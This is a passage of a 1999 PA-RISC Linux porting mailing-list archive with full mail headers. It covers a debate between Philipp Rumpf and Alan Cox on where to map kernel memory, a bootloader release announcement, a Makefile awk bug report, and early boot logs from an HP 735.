   inferior).
 - It adds some depi instructions, some of them in important code paths.
 - it adds some human depi instructions during debugging (Ie you see an oops
   for virtual address 0xc200 XXXX and it takes you some time to figure out
   this really is because you only have 32 MB and something disagreed (this
   is a real world example I saw several times while debugging interruption
   handlers that got called recursively))
 - it causes some additional complexity during booting (though Paul Bame has
   send a simple way to work-around those to the list some time ago).

basically this situation is very similar to your typical twice-a-year endian-
ness debate (surprisingly so.  compare "clear difference between kernel/user
pointers" "clear difference between integers of different sizes", "depi
instructions" "byte-swapping", "human depi" "reading data dumped as bytes
the wrong way around").

Unless it turns out that there are CPUs around which rely on the obscure
condition mentioned above (if there is any HP guy around who can confirm/deny
this it would be of great help), or other unexpected advantages of mapping
the physical memory starting at 0x0000 0000, I don't see this as being a good
idea.
 
If you have additional points to make in favour of / against mapping the memory
at 0x0000 0000, please reply as soon as possible.


	Philipp Rumpf

[1] PA2.0 supports arbitrary power-of-four page sizes between 4 KB and, depen-
ding on the CPU, up to 1 GB.  Of course, those pages have to be aligned.  So
to map 1 GB of physical memory, but leaving the first page unmapped (as you
would do to catch NULL pointers), you would need:

3   4 KB-pages
3  16 KB-pages
3  64 KB-pages
3 256 KB-pages
3   1 MB-pages
...
3 256 MB-pages.

I.e. 27 pages compared to one 1 GB page for the 0xc000 0000 case.  It's not
as terrible as it sounds but it is added complexity.


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 17:14:21 +0000 (GMT)
Lines: 118
Approved: news@gmane.org
Message-ID: <E11nmBS-0002tz-00@the-village.bc.nu>
References: <19991116170819.B750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618637 28013 80.91.229.3 (22 Nov 2014 01:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:37 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 16 09:13:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03527
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 09:13:02 -0700
Original-Received: (qmail 3286 invoked by uid 15267); 16 Nov 1999 16:14:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3249 invoked from network); 16 Nov 1999 16:14:28 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 16:14:28 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11nmBS-0002tz-00; Tue, 16 Nov 1999 17:14:22 +0000
In-Reply-To: <19991116170819.B750@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 16, 99 05:08:19 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6413

> Advantages of mapping the kernel at 0xc000 0000 (or 0x8000 0000/0xe000 0000)
> 
>  - consistent with what the other ports do / what hardware does for the other
>    ports (MIPS)

Not consistent with what some other ports do however. That one is a non
valid argument.

>  - clear difference between user pointers and kernel pointers (this matters
>    for debugging, not for a running system)

You can stick your elf binaries at 0x80000000 for debugging

>  - clear difference between physical addresses and kernel pointers.  Think
>    about vmalloc for one reason this is a good thing.  Also I dislike the
>    idea of staring at HPMCs for hours just to find out what really happened
>    is someone forgot to set the D bit and we didn't notice until we happened
>    to hit a vmalloc area.

Phys = Virt can help you. Ultrasparc makes good use of tlb bypass bits for
this.

>  - allows us to catch NULL pointers and use large pages to map the physical
>    memory [1]

Only relevant for debug. Indeed on x86 with 4Mb maps enabled we dont do 
null catches in the same way

>  - is already implemented

True

>  - conflicts with a rather obscure restriction of PA1.1 cache aliases.  As
>    Frank pointed out to me, it is only guaranteed you access the same data
>    using a physical address and a virtual address mapped to the physical if
>    the physical address is equal to the virtual address (or you are flushing
>    the cache lines in question).  I do not believe this to be a real problem
>    with any existing hardware and if it is, the performance hit of the
>    additional cache flushes may be seen as proper punishment for brain-dead
>    hardware.

The goal is to make it work well. X86 is brain dead, thats why we do the 
3gig/1gig game with it. 

Alan

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:45 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03117
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:45 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:45 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id OAA13207
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 14:16:31 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id OAA17240
	for <pcj@primenet.com>; Mon, 8 Mar 1999 14:16:27 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd017209; Mon Mar  8 14:16:21 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id PAA12491;
	Mon, 8 Mar 1999 15:44:09 -0500
Resent-Date: Mon, 8 Mar 1999 15:44:09 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Mon, 8 Mar 1999 15:43:56 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: hppa-linux@thepuffingroup.com
In-Reply-To: <Pine.LNX.4.10.9903081417030.7297-100000@centauri.osfi-bsif.gc.ca>
Message-ID: <Pine.LNX.3.96.990308154028.5280k-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [hppa-linux] Initial HILO release.
Resent-Message-ID: <"1On071.0.533.PQ3vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/149
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 2bcde5927ccf3d31c93ead0c2b021078
Status: RO
Lines: 28
Xref: merlin.pcj.primenet.com palinux:120



I've packaged Jason Eckhardt's HP bootloader, renamed it to 'HILO',
versioned it, and started on proper licensing.  This is teh first source
release, and it's clear that the source needs work.  I'll try to spend
some time on that next week.  We'll also put it into CVS.

In the mean time, here are the releases:

ftp://sod.res.cmu.edu/pub/parisc/hilo/hilo-0.01.gz (binary, precompiled)
ftp://sod.res.cmu.edu/pub/parisc/hilo/hilo-0.02.tar.gz (source)

The source does cross compile (with cross compilers I've not yet
released), I haven't tried native compiling yet.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 17:47:33 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <19991116174733.C750@mathe.stud.uni-erlangen.de>
References: <19991116170819.B750@mathe.stud.uni-erlangen.de> <E11nmBS-0002tz-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618637 28017 80.91.229.3 (22 Nov 2014 01:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:37 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        frowand@cup.hp.com, parisc-linux@thepuffingroup.com,
        adevries@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: prumpf@r.uni-erlangen.de  Tue Nov 16 09:44:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA04169
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 09:44:45 -0700
Original-Received: (qmail 18443 invoked by uid 15267); 16 Nov 1999 16:46:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18426 invoked from network); 16 Nov 1999 16:46:20 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 16:46:20 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 16 Nov 1999 17:46:13 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id RAA01186;
	Tue, 16 Nov 1999 17:48:34 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <E11nmBS-0002tz-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:6414

>>  - consistent with what the other ports do / what hardware does for the other
>>    ports (MIPS)
> Not consistent with what some other ports do however. That one is a non
> valid argument.

Consistent with what the widely-used ports do in 2.2 (as far as I can see).

> >  - is already implemented
> True

This actually belongs here (i.e. most of the code is stolen from other architec-
tures while the mapping at 0x0000 0000 one would have to be written AFAIK).

> >  - clear difference between user pointers and kernel pointers (this matters
> >    for debugging, not for a running system)
> You can stick your elf binaries at 0x80000000 for debugging

Sure I could.  It is going to be work though while we get it for free when
mapped at 0x8000 0000.  Furthermore this is likely to cause some meta-
debugging.

> >  - clear difference between physical addresses and kernel pointers.  Think
> >    about vmalloc for one reason this is a good thing.  Also I dislike the
> >    idea of staring at HPMCs for hours just to find out what really happened
> >    is someone forgot to set the D bit and we didn't notice until we happened
> >    to hit a vmalloc area.
> 
> Phys = Virt can help you.

It sure can help from a performance pov.

> Ultrasparc makes good use of tlb bypass bits for this.

We do have load/store word bypassing the TLB instructions, if that's what you
mean.  We also can fix one of SR1-SR3 in kernel mode to be the identical map
if some phys->virt instructions shows up heavily in profiles.

> >  - allows us to catch NULL pointers and use large pages to map the physical
> >    memory [1]
> 
> Only relevant for debug.
> Indeed on x86 with 4Mb maps enabled we dont do 
> null catches in the same way

The day the parisc port reaches the usage counts we can stop caring about
getting Oops/Panic messages (especially if they were unexpected and happened
on a system that seemed stable a long time before) I might agree to the "only".

> >  - conflicts with a rather obscure restriction of PA1.1 cache aliases.  As
> >    Frank pointed out to me, it is only guaranteed you access the same data
> >    using a physical address and a virtual address mapped to the physical if
> >    the physical address is equal to the virtual address (or you are flushing
> >    the cache lines in question).  I do not believe this to be a real problem
> >    with any existing hardware and if it is, the performance hit of the
> >    additional cache flushes may be seen as proper punishment for brain-dead
> >    hardware.
> 
> The goal is to make it work well.
> X86 is brain dead, thats why we do the 3gig/1gig game with it. 

The one point I see is how difficult it's going to be to get both mappings
to the point we have 3.75 GB physical mem / 3.75 GB virtual mem (assuming we
want to do it directly and don't want to do the x86 highmem stuff).

Extending a mapping at 0x8000 0000 to do this is non-trivial, and I would
consider an independent mapping using one of SR[1-3] as the easiest way to do
it.

A mapping at 0x0000 0000 would allow us to do this without any problems, so
this is definitely a disadvantage I missed.

Note that 3.75 GB userspace isn't a problem with either.  My A class looks
pretty packed with 768 MB RAM so I doubt you could fit more than 1.75 GB in
many pa1.1 boxes.

	Philipp Rumpf


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 17:50:53 +0000 (GMT)
Lines: 30
Approved: news@gmane.org
Message-ID: <E11nmkn-0002xG-00@the-village.bc.nu>
References: <19991116174733.C750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618638 28019 80.91.229.3 (22 Nov 2014 01:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:38 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        frowand@cup.hp.com, parisc-linux@thepuffingroup.com,
        adevries@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 16 09:49:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA04340
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 09:49:10 -0700
Original-Received: (qmail 20625 invoked by uid 15267); 16 Nov 1999 16:50:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20605 invoked from network); 16 Nov 1999 16:50:45 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 16:50:45 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11nmkn-0002xG-00; Tue, 16 Nov 1999 17:50:53 +0000
In-Reply-To: <19991116174733.C750@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 16, 99 05:47:33 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6415

> Consistent with what the widely-used ports do in 2.2 (as far as I can see).

You mean x86

> It sure can help from a performance pov.
> 
> > Ultrasparc makes good use of tlb bypass bits for this.
> 
> We do have load/store word bypassing the TLB instructions, if that's what you
> mean.  We also can fix one of SR1-SR3 in kernel mode to be the identical map
> if some phys->virt instructions shows up heavily in profiles.

On the ultrasparc it pays off in part by avoiding TLB miss/reloads

> The day the parisc port reaches the usage counts we can stop caring about
> getting Oops/Panic messages (especially if they were unexpected and happened
> on a system that seemed stable a long time before) I might agree to the "only".

And until then you map in 20 odd pages. BFD

> Note that 3.75 GB userspace isn't a problem with either.  My A class looks
> pretty packed with 768 MB RAM so I doubt you could fit more than 1.75 GB in
> many pa1.1 boxes.

3.75Gig _virtual_ 

3.75Gig _virtual_ 

3.75Gig _virtual_ 


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trivial Makefile Bug
Date: Tue, 16 Nov 1999 14:08:56 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199911161908.OAA04637@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618638 28024 80.91.229.3 (22 Nov 2014 01:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 12:07:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA07306
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 12:07:23 -0700
Original-Received: (qmail 17714 invoked by uid 15267); 16 Nov 1999 19:08:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17707 invoked from network); 16 Nov 1999 19:08:59 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 19:08:59 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA04637
	for parisc-linux@thepuffingroup.com; Tue, 16 Nov 1999 14:08:57 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6416

This has been around for awhile.

ld -R 0xc0010000 -N -e stext arch/parisc/real/head.o arch/parisc/kernel/init_task.o init/main.o init/version.o \
        arch/parisc/boot/ramdisk.o arch/parisc/kernel/kernel.o arch/parisc/real/real.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
	fs/filesystems.a \
	net/network.a \
	drivers/block/block.a drivers/gsc/gsc.a drivers/char/char.a  drivers/net/net.a drivers/pci/pci.a \
	/ehic/a/pa/linux/arch/parisc/lib/lib.a /ehic/a/pa/linux/lib/lib.a /ehic/a/pa/linux/arch/parisc/lib/lib.a \
	-o vmlinux
If this fails, you're not using GNU nm!
Make sure you have it in your path before HPUX nm.
nm --version > /dev/null 2>&1
nm -td vmlinux |awk '/init_task_union/ { n = int(); t = int(n/8192); t *= 8192; if (t >= n) printf t-n ; else printf n-(t-8192)}' FS=\| > init_task.alignment
awk: cmd. line:1: fatal: int() cannot have 0 arguments
make[1]: *** [vmlinux-real] Error 2
make[1]: Leaving directory `/ehic/a/pa/linux'
make: *** [vmlinux] Error 2

I believe that the argument of int in the awk script needs to be changed
to "$$1".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Got a machine, Got a Kernel Image, Got a Ramdisk Image, What's next?
Date: Tue, 16 Nov 1999 11:14:08 -0800 (PST)
Lines: 47
Approved: news@gmane.org
Message-ID: <199911161914.LAA31352@opus.allegro.com>
References: <000901bf303e$1a95e540$1e8550d8@4mcnabb.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618638 28027 80.91.229.3 (22 Nov 2014 01:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: chris@4mcnabb.net (Christopher L McNabb)
Original-X-From: sieler@opus.allegro.com  Tue Nov 16 12:13:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA07708
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 12:13:08 -0700
Original-Received: (qmail 20638 invoked by uid 15267); 16 Nov 1999 19:14:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20623 invoked from network); 16 Nov 1999 19:14:44 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 19:14:44 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id LAA31352;
	Tue, 16 Nov 1999 11:14:08 -0800
In-Reply-To: <000901bf303e$1a95e540$1e8550d8@4mcnabb.net> from "Christopher L McNabb" at Nov 16, 1999 09:23:07 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6417

Re:
> The box is an HP-9000 model 832, HP-UX 9.0, 32 Megs of RAM (yeah, I know
> that's rather low), and 3.5 gigs of hard drive space split between 6 HP-IB
> disk drives (4 internal, 2 external).  A SCSI interface is supposed to
> arrive fed-ex today, and I will be adding a CD-ROM and SCSI disks as cash
> becomes available.

I can't remember if the original 8x2 machines could boot from SCSI.
Their immediate predecessors, the 8x5 machines, couldn't (but the
ability was added later via a firmware upgrade).

That aside, 8x2 machines are a slightly older version of PA-RISC
(1.0? 1.1?).  The 9000/7xx and most newer 9000/8xx machines are
running newer versions of PA-RISC (1.2 or later).  The most
important difference is in floating point instructions. 
The PA-RISC kernel *could* be easily compiled for 1.0 architecture...
I doubt that it does much floating point work in the kernel!
Further, it could be compiled with 1.2 scheduling...that still
works on 1.0 machines.

The I/O architecture is HP-PB, like the 8x7 machines, so that
may be okay.


If it turns out that the current port won't work for you, you
have a few choices:

   1) wait for it to be done, and modify it for 8x2.

   2) use your 832 with HP-UX.  You can go to 
      http://www.software.hp.com/y2kupgrades/
      and get HP-UX 10.20 for free.

   3) trade it for a machine supported by the current porting
      project.

If you opt for (3), you may want to know about the Classic Computer
mailing list ... a worldwide group of computer collectors.
To post a message to it, send to:
   classiccmp@u.washington.edu

The 832 is a 30 MHz machine.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 14:58:07 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <199911161958.OAA01327@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618638 28028 80.91.229.3 (22 Nov 2014 01:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 12:56:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA08138
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 12:56:41 -0700
Original-Received: (qmail 9219 invoked by uid 15267); 16 Nov 1999 19:58:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9212 invoked from network); 16 Nov 1999 19:58:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 19:58:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA01327
	for parisc-linux@thepuffingroup.com; Tue, 16 Nov 1999 14:58:08 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6418

This is a transcript of the boot messages on a 735 using the default
CVS config:

kernel(0x0000001), 0x04DFF870, 0x04DFF900, 0x00016A70)
Clear BSS 0x00118470-->0x0012FA80
Boot loader: HP-UX ISL
Warning realmode_setup.c *guessing* where free mem starts!
realmode_setup exiting.

This is better than yesterday when there was no output.  The BSS
region looks ok.  HP-UX ISL is correct.  The address of _end in the
vmlinux object looks reasonable:

_end                |0xc012fa80|extern|data   |$DLT$

Why does realmode_setup have to guess where free mem starts?  Oh, I
think the name of realmode_setup has changed.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 13:18:20 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <199911162018.NAA15083@debian.fc.hp.com>
References: <199911161958.OAA01327@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618639 28031 80.91.229.3 (22 Nov 2014 01:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@debian.fc.hp.com  Tue Nov 16 13:17:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA08390
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 13:17:05 -0700
Original-Received: (qmail 19402 invoked by uid 15267); 16 Nov 1999 20:18:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19376 invoked from network); 16 Nov 1999 20:18:41 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 20:18:41 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id NAA04841;
	Tue, 16 Nov 1999 13:18:21 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id NAA15690; Tue, 16 Nov 1999 13:18:21 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id NAA15083;
	Tue, 16 Nov 1999 13:18:20 -0700
In-reply-to: Your message of "Tue, 16 Nov 1999 14:58:07 EST."
             <199911161958.OAA01327@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6419

= This is a transcript of the boot messages on a 735 using the default
= CVS config:
= 
= kernel(0x0000001), 0x04DFF870, 0x04DFF900, 0x00016A70)
= Clear BSS 0x00118470-->0x0012FA80
= Boot loader: HP-UX ISL
= Warning realmode_setup.c *guessing* where free mem starts!
= realmode_setup exiting.
= 
= This is better than yesterday when there was no output.  The BSS
= region looks ok.  HP-UX ISL is correct.  The address of _end in the
= vmlinux object looks reasonable:
= 
= _end                |0xc012fa80|extern|data   |$DLT$
= 
= Why does realmode_setup have to guess where free mem starts?

The _end symbol is not a reliable indicator of where
the kernel's memory ends.  And the hpux
bootloader doesn't provide the SOM header from whence this could
theoretically be calculated.  I haven't tried out the _end trick
posted last week, but it looks like it'll work (don't call the symbol
_end if you try it).  As long as your kernel links, the guess is
probably OK for now.

	-P


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 15:52:48 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199911162052.PAA01909@hiauly1.hia.nrc.ca>
References: <199911162018.NAA15083@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618639 28032 80.91.229.3 (22 Nov 2014 01:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 13:52:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA09068
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 13:52:30 -0700
Original-Received: (qmail 5909 invoked by uid 15267); 16 Nov 1999 20:54:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
